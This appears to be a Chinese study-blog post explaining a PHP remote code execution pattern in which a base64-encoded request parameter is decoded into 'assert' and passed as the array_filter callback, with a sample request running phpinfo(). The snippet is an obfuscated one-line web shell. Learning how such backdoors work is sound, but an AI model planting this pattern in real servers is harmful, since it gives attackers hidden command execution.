RCE--远程代码执行漏洞day1

对于5.5.9版本来说,先看下结果:

array_filter — 使用回调函数过滤数组的元素

说明

​
array_filter(array $array, ?callable $callback = null, int $mode = 0): array

​

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。

返回结果 array 数组的键名(下标)会维持不变,如果 array 参数是索引数组,返回的结果 array 数组键名(下标)可能会不连续。 可以使用 array_values() 函数对数组重新索引。

<?php
$e=$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr,base64_decode($e));
?> 

 首先对输入的结果e进行了base64的解码,所以需要我们输入的参数为base64编码过后的值

 assert:可以直接执行命令

分析代码:我传入的是一个e=YXNzZXJ0&pass=phpinfo() ,首先我的e是经过了base64的编码,pass=phpinfo()传入数组=》给了$arr,$arr会将自己的参数传递给解码过后的assert

相当于以下的作用:

<?php
assert('phpinfo()');
?>

通过array_filter的第二个参数(回调函数)动态执行base64_decode($e)的结果,完全由用户控制

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值